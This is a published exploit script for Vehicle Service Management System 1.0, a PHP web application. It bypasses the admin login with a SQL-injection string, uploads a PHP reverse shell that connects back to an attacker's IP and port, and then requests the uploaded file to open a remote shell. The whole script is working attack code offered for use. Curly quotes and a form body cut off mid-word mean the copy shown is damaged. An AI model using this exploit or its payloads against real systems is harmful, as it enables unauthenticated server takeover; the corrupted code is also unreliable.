# Exploit Title: Vehicle Service Management System 1.0 – Remote Code Execution (RCE) (Unauthenticated)
# Date: 30.09.2021
# Exploit Author: Fikrat Ghuliev (Ghuliev)
# Vendor Homepage: https://www.sourcecodester.com/php/14972/vehicle-service-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14972&title=Vehicle+Service+Management+System+in+PHP+Free+Source+Code
# Version: 1.0
# Tested on: Ubuntu
import requests
from bs4 import BeautifulSoup
import sys
import random
import string
import time
print(“””
[+] Vehicle Service Management System
[!] Auth bypass + shell upload = RCE
“””)
time.sleep(2)
if len(sys.argv) != 4:
print(“[~] Usage : python3 exploit.py localhost ip port”)
exit()
site = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
shellcode = “<?php $sock=fsockopen(‘” +ip+”‘,”+port+”);exec(‘/bin/sh -i <&3 >&3 2>&3’); ?>”
letters = string.ascii_lowercase
name = ”.join(random.choice(letters) for i in range(5))
def LoginAndShellUpload():
print(“[+] Try Login”)
time.sleep(1)
login = ‘http://’+site+’/vehicle_service/admin/login.php’
session = requests.session()
post_data = {“username”: “‘ OR 1=1– -“, “password”: “aa”}
user_login = session.post(login, data=post_data)
cookie = session.cookies.get_dict()
print(‘[+]Success login’)
print(‘[+]Try Shell upload’)
time.sleep(2)
#shell upload
url = ‘http://’+site+’/vehicle_service/classes/SystemSettings.php?f=update_settings’
cookies = cookie
headers = {“User-Agent”: “Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0”, “Accept”: “*/*”, “Accept-Language”: “en-US,en;q=0.5”, “Accept-Encoding”: “gzip, deflate”, “X-Requested-With”: “XMLHttpRequest”, “Content-Type”: “multipart/form-data; boundary=—————————34590800438205826044276614708”, “Origin”: “http://localhost”, “Connection”: “close”, “Referer”: “http://localhost/church_management/admin/?page=system_info”, “Sec-Fetch-Dest”: “empty”, “Sec-Fetch-Mode”: “cors”, “Sec-Fetch-Site”: “same-origin”}
data = “—————————–38784447663334447953661330489rnContent-Disposition: form-data; name=”name”rnrnVehicle Service Management Systemrn—————————–38784447663334447953661330489rnContent-Disposition: form-data; name=”short_name”rnrnVSMS – PHPrn—————————–38784447663334447953661330489rnContent-Disposition: form-data; name=”about_us”rnrn<p style=”text-align: center; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding: 0px; font-family: DauphinPlain; font-size: 70px; line-height: 90px;”>About Us</p><hr style=”margin: 0px; padding: 0px; clear: both; border-top: 0px; height: 1px; background-image: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.75), rgba(0, 0, 0, 0));”><div id=”Content” style=”margin: 0px; padding: 0px; position: relative;”><div id=”bannerL” style=”margin: 0px 0px 0px -160px; padding: 0px; position: sticky; top: 20px; width: 160px; height: 10px; float: left; text-align: right; color: rgb(0, 0, 0); font-family: “Open Sans”, Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);”></div><div id=”bannerR” style=”margin: 0px -160px 0px 0px; padding: 0px; position: sticky; top: 20px; width: 160px; height: 10px; float: right; color: rgb(0, 0, 0); font-family: “Open Sans”, Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);”></div><div class=”boxed” style=”margin: 10px 28.7969px; padding: 0px; clear: both; color: rgb(0, 0, 0); font-family: “Open Sans”, Arial, sans-serif; font-size: 14px; text-align: center; background-color: rgb(255, 255, 255);”><div id=”lipsum” style=”margin: 0px; padding: 0px; text-align: justify;”></div></div></div><p style=”margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px;”>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam non ultrices tortor. Sed at ligula non lectus tempor bibendum a nec ante. Maecenas iaculis vitae nisi eu dictum. Duis sit amet enim arcu. Etiam blandit vulputate magna, non lobortis velit pharetra vel. Morbi sollicitudin lorem sed augue suscipit, eu commodo tortor vulputate. Interdum et malesuada fames ac ante ipsum primis in faucibus. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent eleifend interdum est, at gravida erat molestie in. Vestibulum et consectetur dui, ac luctus arcu. Curabitur et viverra elit. Cras ac eleifend ipsum, ac suscipit leo. Vivamus porttitor ac risus eu ultricies. Morbi malesuada mi vel luctus sagittis. Ut vestibulum porttitor est, id rutrum libero. Mauris at lacus vehicula, aliquam purus quis, pharetra lorem.</p><p style=”margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px;”>Proin consectetur massa ut quam molestie porta. Donec sit amet ligula odio. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Morbi ex sapien, pulvinar ac arcu at, luctus scelerisque nibh. In dolor velit, pellentesque eu blandit a, mollis ac neque. Fusce tortor lectus, aliquam et eleifend id, aliquet ut libero. Nunc scelerisque vulputate turpis quis volutpat. Vivamus malesuada sem in dapibus aliquam. Vestibulum imperdiet, nulla vitae pharetra pretium, magna felis placerat libero, quis tincidunt felis diam nec nisi. Sed scelerisque ullamcorper cursus. Suspendisse posuere, velit nec rhoncus cursus, urna sapien consectetur est, et lacinia odio leo nec massa. Nam vitae nunc vitae tortor vestibulum consequat ac quis risus. Sed finibus pharetra orci, id vehicula tellus eleifend sit amet.</p><p style=”margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px;”>Morbi id ante vel velit mollis egestas. Suspendisse pretium sem urna, vitae placerat turpis cursus faucibus. Ut dignissim molestie blandit. Phasellus pulvinar, eros id ultricies mollis, lectus velit viverra mi, at venenatis velit purus id nisi. Duis eu massa lorem. Curabitur sed nibh felis. Donec faucibus, nulla at faucibus blandit, mi justo efficitur dui, non mattis nisl purus non lacus. Mae
requests.post(url, headers=headers, cookies=cookies, data=data)
print(‘[+]Success!’)
print(‘[+]Getting reverse shell’)
time.sleep(2)
def RCE():
path = ‘http://’+site+’/vehicle_service/uploads/’
html_text = requests.get(path).text
soup = BeautifulSoup(html_text, ‘html.parser’)
for link in soup.find_all(‘a’):
data = link.get(‘href’)
if “.php” in data:
r = requests.get(‘http://’+site+’/vehicle_service/uploads/’+data)
print(‘[+]Pwned!’)
LoginAndShellUpload()
RCE()